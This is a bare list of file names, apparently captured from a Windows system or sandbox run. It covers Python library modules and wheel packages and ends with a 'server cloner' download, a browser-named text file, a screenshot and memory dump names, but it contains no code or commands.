dimension.py
dummy.py
layout.py
margins.py
menus.py
mouse_handlers.py
processors.py
screen.py
scrollable_pane.py
utils.py
__init__.py
base.py
pygments.py
log.py
mouse_events.py
__init__.py
base.py
color_depth.py
conemu.py
defaults.py
flush_stdout.py
plain_text.py
vt100.py
win32.py
windows10.py
patch_stdout.py
renderer.py
search.py
selection.py
__init__.py
dialogs.py
__init__.py
base.py
formatters.py
prompt.py
utils.py
__init__.py
base.py
defaults.py
named_colors.py
pygments.py
style.py
style_transformation.py
token.py
utils.py
validation.py
__init__.py
base.py
dialogs.py
menus.py
toolbars.py
win32_types.py
__init__.py
_common.py
_compat.py
_psaix.py
_psbsd.py
_pslinux.py
_psosx.py
_psposix.py
_pssunos.py
_pswindows.py
__init__.py
__main__.py
runner.py
test_aix.py
test_bsd.py
test_connections.py
test_contracts.py
test_linux.py
test_memleaks.py
test_misc.py
test_osx.py
test_posix.py
test_process.py
test_process_all.py
test_sunos.py
test_system.py
test_testutils.py
test_unicode.py
test_windows.py
WHEEL
__init__.py
__main__.py
cmdline.py
__init__.py
formatter.py
__init__.py
bbcode.py
groff.py
html.py
img.py
irc.py
latex.py
other.py
pangomarkup.py
rtf.py
svg.py
terminal.py
terminal256.py
lexer.py
__init__.py
_ada_builtins.py
_asy_builtins.py
_cl_builtins.py
_cocoa_builtins.py
_csound_builtins.py
_css_builtins.py
_julia_builtins.py
_lasso_builtins.py
_lilypond_builtins.py
_lua_builtins.py
_luau_builtins.py
_mapping.py
_mql_builtins.py
_mysql_builtins.py
_openedge_builtins.py
_php_builtins.py
_postgres_builtins.py
_qlik_builtins.py
_scheme_builtins.py
_scilab_builtins.py
_sourcemod_builtins.py
_stan_builtins.py
_stata_builtins.py
_tsql_builtins.py
_usd_builtins.py
_vbscript_builtins.py
_vim_builtins.py
actionscript.py
ada.py
agile.py
algebra.py
ambient.py
amdgpu.py
ampl.py
apdlexer.py
apl.py
archetype.py
arrow.py
arturo.py
asc.py
asm.py
asn1.py
automation.py
bare.py
basic.py
bdd.py
berry.py
bibtex.py
blueprint.py
boa.py
bqn.py
business.py
c_cpp.py
c_like.py
capnproto.py
carbon.py
cddl.py
chapel.py
clean.py
comal.py
compiled.py
configs.py
console.py
cplint.py
crystal.py
csound.py
css.py
d.py
dalvik.py
data.py
dax.py
devicetree.py
diff.py
dns.py
dotnet.py
dsls.py
dylan.py
ecl.py
eiffel.py
elm.py
elpi.py
email.py
erlang.py
esoteric.py
ezhil.py
factor.py
fantom.py
felix.py
fift.py
floscript.py
forth.py
fortran.py
foxpro.py
freefem.py
func.py
functional.py
futhark.py
gcodelexer.py
gdscript.py
go.py
grammar_notation.py
graph.py
graphics.py
graphql.py
graphviz.py
gsql.py
haskell.py
haxe.py
hdl.py
hexdump.py
html.py
idl.py
igor.py
inferno.py
installers.py
int_fiction.py
iolang.py
j.py
javascript.py
jmespath.py
jslt.py
jsonnet.py
jsx.py
julia.py
jvm.py
kuin.py
kusto.py
ldap.py
lean.py
lilypond.py
lisp.py
macaulay2.py
make.py
markup.py
math.py
matlab.py
maxima.py
meson.py
mime.py
minecraft.py
mips.py
ml.py
modeling.py
modula2.py
mojo.py
monte.py
mosel.py
ncl.py
nimrod.py
nit.py
nix.py
oberon.py
objective.py
ooc.py
openscad.py
other.py
parasail.py
parsers.py
pascal.py
pawn.py
perl.py
phix.py
php.py
pointless.py
pony.py
praat.py
procfile.py
prolog.py
promql.py
prql.py
ptx.py
python.py
q.py
qlik.py
qvt.py
r.py
rdf.py
rebol.py
resource.py
ride.py
rita.py
rnc.py
roboconf.py
robotframework.py
ruby.py
rust.py
sas.py
savi.py
scdoc.py
scripting.py
sgf.py
shell.py
sieve.py
slash.py
smalltalk.py
smithy.py
smv.py
snobol.py
solidity.py
soong.py
sophia.py
special.py
spice.py
sql.py
srcinfo.py
stata.py
supercollider.py
tact.py
tal.py
tcl.py
teal.py
templates.py
teraterm.py
testing.py
text.py
textedit.py
textfmts.py
theorem.py
thingsdb.py
tlb.py
tls.py
tnt.py
trafficscript.py
typoscript.py
typst.py
ul4.py
unicon.py
urbi.py
usd.py
varnish.py
verification.py
verifpal.py
vip.py
vyper.py
web.py
webassembly.py
webidl.py
webmisc.py
wgsl.py
whiley.py
wowtoc.py
wren.py
x10.py
xorg.py
yang.py
yara.py
zig.py
sphinxext.py
style.py
__init__.py
abap.py
algol.py
algol_nu.py
arduino.py
autumn.py
borland.py
bw.py
coffee.py
colorful.py
default.py
dracula.py
emacs.py
friendly.py
friendly_grayscale.py
fruity.py
gh_dark.py
gruvbox.py
igor.py
inkpot.py
lightbulb.py
lilypond.py
lovelace.py
manni.py
material.py
monokai.py
murphy.py
native.py
nord.py
onedark.py
paraiso_dark.py
paraiso_light.py
pastie.py
perldoc.py
rainbow_dash.py
rrt.py
sas.py
solarized.py
staroffice.py
stata_dark.py
stata_light.py
tango.py
trac.py
vim.py
vs.py
xcode.py
zenburn.py
__init__.py
baseclient.py
client.py
exceptions.py
payloads.py
presence.py
utils.py
__init__.py
constants.py
form.py
prompt.py
__init__.py
autocomplete.py
checkbox.py
common.py
confirm.py
password.py
path.py
press_any_key_to_continue.py
rawselect.py
select.py
text.py
question.py
styles.py
utils.py
version.py
__init__.py
_base_key.py
_config.py
_posix_key.py
_posix_read.py
_win_key.py
_win_read.py
key.py
__init__.py
adapters.py
certs.py
compat.py
exceptions.py
help.py
models.py
packages.py
utils.py
__init__.py
__main__.py
_extension.py
_log_render.py
_ratio.py
_win32_console.py
_windows.py
_windows_renderer.py
abc.py
align.py
box.py
console.py
control.py
diagnose.py
emoji.py
jupyter.py
layout.py
live_render.py
logging.py
markdown.py
palette.py
pretty.py
progress.py
protocol.py
repr.py
scope.py
screen.py
styled.py
syntax.py
traceback.py
__init__.py
six.py
__init__.py
_base_connection.py
_collections.py
_request_methods.py
_version.py
connection.py
connectionpool.py
__init__.py
connection.py
fetch.py
request.py
response.py
pyopenssl.py
socks.py
exceptions.py
fields.py
filepost.py
http2.py
poolmanager.py
response.py
__init__.py
connection.py
proxy.py
request.py
response.py
retry.py
ssl_.py
ssl_match_hostname.py
ssltransport.py
timeout.py
url.py
util.py
wait.py
__init__.py
table_vs16.py
table_wide.py
table_zero.py
unicode_versions.py
wcwidth.py
__init__.py
WHEEL
__init__.py
_quoting.py
_quoting_py.py
_url.py
__init__.py
__main__.py
pip3.12.exe
python.exe
3a71c2f9-a87c-455e-84b3-6ffd6a042331.zip
Microsoft_Edge_Default.txt
screenshot.png
__PSScriptPolicyTest_vs0krgct.gmg.ps1
__init__.py
override.py
__init__.py
setup.py
zip-safe
test_find_distributions.py
test_integration_zope_interface.py
test_markers.py
test_pkg_resources.py
test_resources.py
test_working_set.py
__init__.py
_core_metadata.py
__init__.py
_collections.py
_functools.py
_itertools.py
_log.py
_macos_compat.py
_modified.py
_msvccompiler.py
__init__.py
_musllinux.py
_parser.py
markers.py
metadata.py
archive_util.py
bcppcompiler.py
ccompiler.py
cmd.py
__init__.py
_framework_compat.py
bdist.py
bdist_dumb.py
bdist_rpm.py
build.py
build_clib.py
build_ext.py
build_py.py
build_scripts.py
check.py
clean.py
config.py
install.py
install_data.py
install_egg_info.py
install_headers.py
install_lib.py
install_scripts.py
register.py
sdist.py
upload.py
__init__.py
py38.py
py39.py
config.py
core.py
cygwinccompiler.py
debug.py
dep_util.py
dir_util.py
dist.py
errors.py
extension.py
fancy_getopt.py
file_util.py
filelist.py
log.py
msvc9compiler.py
msvccompiler.py
spawn.py
sysconfig.py
__init__.py
py38.py
support.py
test_archive_util.py
test_bdist.py
test_bdist_dumb.py
test_bdist_rpm.py
test_build.py
test_build_clib.py
test_build_ext.py
test_build_py.py
test_build_scripts.py
test_ccompiler.py
test_check.py
test_clean.py
test_cmd.py
test_config.py
test_config_cmd.py
test_core.py
test_cygwinccompiler.py
test_dir_util.py
test_dist.py
test_extension.py
test_file_util.py
test_filelist.py
test_install.py
test_install_data.py
test_install_headers.py
test_install_lib.py
test_install_scripts.py
test_log.py
test_mingwccompiler.py
test_modified.py
test_msvc9compiler.py
test_msvccompiler.py
test_register.py
test_sdist.py
test_spawn.py
test_sysconfig.py
test_text_file.py
test_unixccompiler.py
test_upload.py
test_util.py
test_version.py
unix_compat.py
text_file.py
unixccompiler.py
util.py
version.py
versionpredicate.py
zosccompiler.py
_entry_points.py
_imp.py
_importlib.py
_itertools.py
_normalization.py
_path.py
_reqs.py
__init__.py
autoasync.py
autocommand.py
automain.py
autoparse.py
errors.py
__init__.py
__init__.py
__main__.py
py38.py
__init__.py
_adapters.py
_collections.py
_compat.py
_functools.py
_itertools.py
_meta.py
_text.py
py311.py
py39.py
diagnose.py
LICENSE
__init__.py
_adapters.py
_common.py
_itertools.py
abc.py
py38.py
py39.py
functional.py
adapters.py
readers.py
simple.py
_path.py
py312.py
py39.py
utf-16.file
utf-8.file
binary.file
test_compatibilty_files.py
test_contents.py
test_custom.py
test_files.py
test_functional.py
test_open.py
test_path.py
test_read.py
test_reader.py
test_resource.py
util.py
zip.py
__init__.py
py38.py
LICENSE
top_level.txt
WHEEL
context.py
__init__.py
__init__.py
layouts.py
show-newlines.py
strip-prefix.py
to-dvorak.py
to-qwerty.py
__init__.py
more.py
recipes.py
__init__.py
specifiers.py
version.py
__init__.py
__main__.py
__init__.py
_checkers.py
_config.py
_decorators.py
_exceptions.py
_functions.py
_importhook.py
_memo.py
_pytest_plugin.py
_suppression.py
_transformer.py
_union_transformer.py
_utils.py
WHEEL
__init__.py
_setuptools_logging.py
bdist_wheel.py
__init__.py
convert.py
macosx_libfile.py
metadata.py
wheelfile.py
__init__.py
py310.py
glob.py
archive_util.py
build_meta.py
__init__.py
_requirestxt.py
alias.py
bdist_egg.py
bdist_rpm.py
bdist_wheel.py
build.py
build_clib.py
build_ext.py
build_py.py
develop.py
dist_info.py
easy_install.py
editable_wheel.py
egg_info.py
install.py
install_egg_info.py
install_lib.py
install_scripts.py
register.py
rotate.py
saveopts.py
sdist.py
setopt.py
test.py
upload.py
upload_docs.py
py310.py
py311.py
py39.py
__init__.py
_apply_pyprojecttoml.py
__init__.py
error_reporting.py
extra_validations.py
fastjsonschema_exceptions.py
fastjsonschema_validations.py
formats.py
expand.py
pyprojecttoml.py
setupcfg.py
depends.py
discovery.py
dist.py
errors.py
extension.py
glob.py
installer.py
launch.py
logging.py
modified.py
monkey.py
msvc.py
namespaces.py
package_index.py
sandbox.py
__init__.py
py39.py
__init__.py
preload.py
test_apply_pyprojecttoml.py
test_expand.py
test_pyprojecttoml.py
test_pyprojecttoml_dynamic_deps.py
test_setupcfg.py
contexts.py
environment.py
fixtures.py
helpers.py
test_pip_install_sdist.py
mod_with_constant.py
namespaces.py
script-with-bom.py
server.py
test_archive_util.py
test_bdist_deprecations.py
test_bdist_egg.py
test_bdist_wheel.py
test_build.py
test_build_clib.py
test_build_ext.py
test_build_meta.py
test_build_py.py
test_config_discovery.py
test_core_metadata.py
test_depends.py
test_develop.py
test_dist.py
test_dist_info.py
test_distutils_adoption.py
test_easy_install.py
test_editable_install.py
test_egg_info.py
test_extern.py
test_find_packages.py
test_find_py_modules.py
test_glob.py
test_install_scripts.py
test_integration.py
test_logging.py
test_manifest.py
test_msvc14.py
test_namespaces.py
test_packageindex.py
test_register.py
test_sandbox.py
test_sdist.py
test_setopt.py
test_setuptools.py
test_unicode_utils.py
test_upload.py
test_virtualenv.py
test_warnings.py
test_wheel.py
test_windows_wrappers.py
text.py
textwrap.py
unicode_utils.py
version.py
warnings.py
wheel.py
windows_support.py
__init__.py
__main__.py
_bdist_wheel.py
_setuptools_logging.py
bdist_wheel.py
__init__.py
convert.py
pack.py
tags.py
unpack.py
macosx_libfile.py
metadata.py
util.py
_elffile.py
_manylinux.py
_musllinux.py
_parser.py
_tokenizer.py
markers.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
wheelfile.py
SOURCES.txt
WHEEL
FrecencyUserSettings.proto
FrecencyUserSettings_pb2.py
PreloadedUserSettings.proto
PreloadedUserSettings_pb2.py
__init__.py
PKG-INFO
requires.txt
top_level.txt
LICENSE
wcwidth-0.2.13-py2.py3-none-any.whl.metadata
rich-13.7.1-py3-none-any.whl.metadata
xmod-1.8.1-py3-none-any.whl.metadata
aiohappyeyeballs-2.3.5-py3-none-any.whl.metadata
jinxed-1.3.0-py2.py3-none-any.whl.metadata
wheel-0.44.0-py3-none-any.whl.metadata
discord.py_self-2.0.0-py3-none-any.whl.metadata
aiohttp-3.10.3-cp312-cp312-win_amd64.whl.metadata
certifi-2024.7.4-py3-none-any.whl.metadata
psutil-6.0.0-cp37-abi3-win_amd64.whl.metadata
yarl-1.9.4-cp312-cp312-win_amd64.whl.metadata
attrs-24.2.0-py3-none-any.whl.metadata
charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl.metadata
requests-2.32.3-py3-none-any.whl.metadata
frozenlist-1.4.1-cp312-cp312-win_amd64.whl.metadata
idna-3.7-py3-none-any.whl.metadata
pypresence-4.3.0-py2.py3-none-any.whl.metadata
colorama-0.4.6-py2.py3-none-any.whl.metadata
discord-protos-0.0.2.tar.gz
protobuf-5.27.3-cp310-abi3-win_amd64.whl.metadata
mdurl-0.1.2-py3-none-any.whl.metadata
readchar-4.2.0-py3-none-any.whl.metadata
blessed-1.20.0-py2.py3-none-any.whl.metadata
editor-1.6.6-py3-none-any.whl.metadata
six-1.16.0-py2.py3-none-any.whl.metadata
runs-1.2.2-py3-none-any.whl.metadata
prompt_toolkit-3.0.36-py3-none-any.whl.metadata
questionary-2.0.1-py3-none-any.whl.metadata
setuptools-72.1.0-py3-none-any.whl
wheel-0.44.0-py3-none-any.whl
art-6.2-py3-none-any.whl.metadata
setuptools-72.1.0-py3-none-any.whl.metadata
inquirer-3.3.0-py3-none-any.whl.metadata
multidict-6.0.5-cp312-cp312-win_amd64.whl.metadata
markdown_it_py-3.0.0-py3-none-any.whl.metadata
aiosignal-1.3.1-py3-none-any.whl.metadata
aiohappyeyeballs-2.3.5-py3-none-any.whl
aiohttp-3.10.3-cp312-cp312-win_amd64.whl
aiosignal-1.3.1-py3-none-any.whl
ansicon-1.89.0-py2.py3-none-any.whl
art-6.2-py3-none-any.whl
attrs-24.2.0-py3-none-any.whl
blessed-1.20.0-py2.py3-none-any.whl
certifi-2024.7.4-py3-none-any.whl
charset_normalizer-3.3.2-cp312-cp312-win_amd64.whl
colorama-0.4.6-py2.py3-none-any.whl
discord.py_self-2.0.0-py3-none-any.whl
editor-1.6.6-py3-none-any.whl
frozenlist-1.4.1-cp312-cp312-win_amd64.whl
idna-3.7-py3-none-any.whl
inquirer-3.3.0-py3-none-any.whl
jinxed-1.3.0-py2.py3-none-any.whl
markdown_it_py-3.0.0-py3-none-any.whl
mdurl-0.1.2-py3-none-any.whl
multidict-6.0.5-cp312-cp312-win_amd64.whl
prompt_toolkit-3.0.36-py3-none-any.whl
protobuf-5.27.3-cp310-abi3-win_amd64.whl
psutil-6.0.0-cp37-abi3-win_amd64.whl
pygments-2.18.0-py3-none-any.whl
pypresence-4.3.0-py2.py3-none-any.whl
questionary-2.0.1-py3-none-any.whl
readchar-4.2.0-py3-none-any.whl
requests-2.32.3-py3-none-any.whl
rich-13.7.1-py3-none-any.whl
runs-1.2.2-py3-none-any.whl
six-1.16.0-py2.py3-none-any.whl
urllib3-2.2.2-py3-none-any.whl
wcwidth-0.2.13-py2.py3-none-any.whl
xmod-1.8.1-py3-none-any.whl
yarl-1.9.4-cp312-cp312-win_amd64.whl
ansicon-1.89.0-py2.py3-none-any.whl.metadata
pygments-2.18.0-py3-none-any.whl.metadata
tmpyebwb93e
Unconfirmed 759235.crdownload
server cloner fouxe cloner.zip
server cloner fouxe cloner.zip:Zone.Identifier
SideBar.png
python-3.12.5-amd64.exe
pip_JustForMe
memory/2156-9904-0x00000186D96F0000-0x00000186D96F8000-memory.dmp
memory/2156-9896-0x00000186D9C90000-0x00000186D9CD6000-memory.dmp
memory/2676-26430-0x0000000061FE0000-0x000000006208B000-memory.dmp
memory/3372-9829-0x000001A56C8A0000-0x000001A56C8C2000-memory.dmp
memory/4312-9942-0x0000000000BF0000-0x0000000000BFA000-memory.dmp
memory/4636-26418-0x0000000061FE0000-0x000000006208B000-memory.dmp
memory/4636-26429-0x0000000061FE0000-0x000000006208B000-memory.dmp
memory/5256-26431-0x0000000061FE0000-0x000000006208B000-memory.dmp
memory/5256-26433-0x0000000061FE0000-0x000000006208B000-memory.dmp